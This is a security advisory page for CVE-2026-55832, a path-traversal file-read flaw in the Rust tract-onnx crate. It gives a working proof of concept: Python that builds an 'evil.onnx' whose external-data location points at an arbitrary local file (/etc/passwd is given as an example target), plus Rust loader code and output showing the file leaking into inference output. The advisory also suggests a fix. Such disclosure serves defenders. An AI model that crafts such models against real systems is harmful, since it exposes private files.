GHSA-H668-6X6G-F8R5

Vulnerability from github – Published: 2026-06-19 14:45 – Updated: 2026-06-19 14:45
VLAI
Summary
tract: Arbitrary file read via unsanitized ONNX external_data `location` (path traversal) on model load in tract-onnx
Details

Summary

tract (the tract-onnx crate) resolves an ONNX tensor's external-data location by joining it onto the model directory without any sanitization. Because location comes from the (untrusted) .onnx file, a malicious model can make tract open and read an arbitrary local file at load time, with the file's contents flowing into the model's tensors / inference output (read-only file disclosure). This is the ONNX external-data path-traversal class that the reference onnx library hardened over several CVEs; tract resolves location itself and was never hardened.

Details

In onnx/src/tensor.rs, get_external_resources() builds the path with no checks:

let location = /* tensor.external_data "location" value — attacker-controlled */;
let p = PathBuf::from(path).join(location);          // no is_absolute / ".." / canonicalize / containment check
provider.read_bytes_from_path(&mut tensor_data, &p, offset, length)?;   // Mmap::map(File::open(p)) by default
  • Path::join with an absolute location (e.g. /etc/passwd) discards the base directory → p = /etc/passwd.
  • A relative ../../../../etc/passwd value is not normalized → directory traversal.
  • The default MmapDataResolver (onnx/src/data_resolver.rs) then mmaps the file and copies mmap[offset..offset+length] into the tensor. offset/length are also taken from the file; an out-of-range slice panics (DoS).

No is_absolute, .., canonicalize, or containment check exists anywhere on this path (tensor.rs, model.rs, data_resolver.rs).

Reachable from the standard public API: model_for_path(p) (onnx/src/model.rs) sets model_dir = p.parent() and calls load_tensor(proto, model_dir)get_external_resources(.., model_dir).

PoC

Tested on tract-onnx 0.21.16 (crates.io), Rust 1.96.

  1. A canary file the model must not be able to read: /tmp/tract_canary_secret.txtTRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b
  2. Build a small evil.onnx with a UINT8[37] initializer whose external_data is location=/tmp/tract_canary_secret.txt (absolute), offset=0, length=37, fed through Identity to the output (raw protobuf serialization):
import onnx
from onnx import helper, TensorProto, StringStringEntryProto
N = 37; LOC = "/tmp/tract_canary_secret.txt"      # absolute -> Path::join discards the base dir
w = TensorProto(); w.name = "W"; w.data_type = TensorProto.UINT8
w.dims.extend([N]); w.data_location = TensorProto.EXTERNAL
for k, v in [("location", LOC), ("offset", "0"), ("length", str(N))]:
    e = StringStringEntryProto(); e.key = k; e.value = v; w.external_data.append(e)
node = helper.make_node("Identity", ["W"], ["Y"])
out = helper.make_tensor_value_info("Y", TensorProto.UINT8, [N])
g = helper.make_graph([node], "g", [], [out], initializer=[w])
m = helper.make_model(g, opset_imports=[helper.make_opsetid("", 13)])
open("evil.onnx", "wb").write(m.SerializeToString())
  1. Victim loads the untrusted model with the standard API:
let model = tract_onnx::onnx().model_for_path("evil.onnx")?;
let out = model.into_optimized()?.into_runnable()?.run(tvec!())?;
let bytes: Vec<u8> = out[0].to_array_view::<u8>()?.iter().cloned().collect();
println!("{:?}", String::from_utf8_lossy(&bytes));

Output:

"TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b"

i.e. the contents of the arbitrary local file were read by tract and surfaced in the inference output.

Impact

Read-only arbitrary local file disclosure when an application uses tract to load an untrusted or shared ONNX model (model hubs, multi-file repos, user uploads). The file content is recoverable from the model's tensors / inference output. Secondary: denial of service (panic) via out-of-bounds offset/length. No write or code execution.

Suggested fix

Reject absolute location and any .. component, then canonicalize and verify the resolved path stays within the model directory (mirroring onnx 1.22.0's resolve_external_data_location); reject symlinks; validate offset/length against the file size before slicing.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "tract-onnx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "tract-onnx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "tract-onnx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55832"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T14:45:43Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`tract` (the `tract-onnx` crate) resolves an ONNX tensor\u0027s external-data `location` by joining it onto the model directory **without any sanitization**. Because `location` comes from the (untrusted) `.onnx` file, a malicious model can make `tract` open and read an **arbitrary local file** at load time, with the file\u0027s contents flowing into the model\u0027s tensors / inference output (read-only file disclosure). This is the ONNX external-data path-traversal class that the reference `onnx` library hardened over several CVEs; `tract` resolves `location` itself and was never hardened.\n\n### Details\n\nIn `onnx/src/tensor.rs`, `get_external_resources()` builds the path with no checks:\n\n```rust\nlet location = /* tensor.external_data \"location\" value \u2014 attacker-controlled */;\nlet p = PathBuf::from(path).join(location);          // no is_absolute / \"..\" / canonicalize / containment check\nprovider.read_bytes_from_path(\u0026mut tensor_data, \u0026p, offset, length)?;   // Mmap::map(File::open(p)) by default\n```\n\n- `Path::join` with an **absolute** `location` (e.g. `/etc/passwd`) discards the base directory \u2192 `p = /etc/passwd`.\n- A **relative** `../../../../etc/passwd` value is not normalized \u2192 directory traversal.\n- The default `MmapDataResolver` (`onnx/src/data_resolver.rs`) then `mmap`s the file and copies `mmap[offset..offset+length]` into the tensor. `offset`/`length` are also taken from the file; an out-of-range slice **panics** (DoS).\n\nNo `is_absolute`, `..`, `canonicalize`, or containment check exists anywhere on this path (`tensor.rs`, `model.rs`, `data_resolver.rs`).\n\nReachable from the standard public API: `model_for_path(p)` (`onnx/src/model.rs`) sets `model_dir = p.parent()` and calls `load_tensor(proto, model_dir)` \u2192 `get_external_resources(.., model_dir)`.\n\n### PoC\n\nTested on `tract-onnx 0.21.16` (crates.io), Rust 1.96.\n\n1. A canary file the model must not be able to read:\n   `/tmp/tract_canary_secret.txt` \u2192 `TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b`\n2. Build a small `evil.onnx` with a `UINT8[37]` initializer whose `external_data` is `location=/tmp/tract_canary_secret.txt` (absolute), `offset=0`, `length=37`, fed through `Identity` to the output (raw protobuf serialization):\n\n```python\nimport onnx\nfrom onnx import helper, TensorProto, StringStringEntryProto\nN = 37; LOC = \"/tmp/tract_canary_secret.txt\"      # absolute -\u003e Path::join discards the base dir\nw = TensorProto(); w.name = \"W\"; w.data_type = TensorProto.UINT8\nw.dims.extend([N]); w.data_location = TensorProto.EXTERNAL\nfor k, v in [(\"location\", LOC), (\"offset\", \"0\"), (\"length\", str(N))]:\n    e = StringStringEntryProto(); e.key = k; e.value = v; w.external_data.append(e)\nnode = helper.make_node(\"Identity\", [\"W\"], [\"Y\"])\nout = helper.make_tensor_value_info(\"Y\", TensorProto.UINT8, [N])\ng = helper.make_graph([node], \"g\", [], [out], initializer=[w])\nm = helper.make_model(g, opset_imports=[helper.make_opsetid(\"\", 13)])\nopen(\"evil.onnx\", \"wb\").write(m.SerializeToString())\n```\n\n3. Victim loads the untrusted model with the standard API:\n\n```rust\nlet model = tract_onnx::onnx().model_for_path(\"evil.onnx\")?;\nlet out = model.into_optimized()?.into_runnable()?.run(tvec!())?;\nlet bytes: Vec\u003cu8\u003e = out[0].to_array_view::\u003cu8\u003e()?.iter().cloned().collect();\nprintln!(\"{:?}\", String::from_utf8_lossy(\u0026bytes));\n```\n\nOutput:\n\n```\n\"TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b\"\n```\n\ni.e. the contents of the arbitrary local file were read by `tract` and surfaced in the inference output.\n\n### Impact\n\nRead-only arbitrary local file disclosure when an application uses `tract` to load an untrusted or shared ONNX model (model hubs, multi-file repos, user uploads). The file content is recoverable from the model\u0027s tensors / inference output. Secondary: denial of service (panic) via out-of-bounds `offset`/`length`. No write or code execution.\n\n### Suggested fix\n\nReject absolute `location` and any `..` component, then canonicalize and verify the resolved path stays within the model directory (mirroring `onnx` 1.22.0\u0027s `resolve_external_data_location`); reject symlinks; validate `offset`/`length` against the file size before slicing.",
  "id": "GHSA-h668-6x6g-f8r5",
  "modified": "2026-06-19T14:45:43Z",
  "published": "2026-06-19T14:45:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sonos/tract/security/advisories/GHSA-h668-6x6g-f8r5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sonos/tract"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "tract: Arbitrary file read via unsanitized ONNX external_data `location` (path traversal) on model load in tract-onnx"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…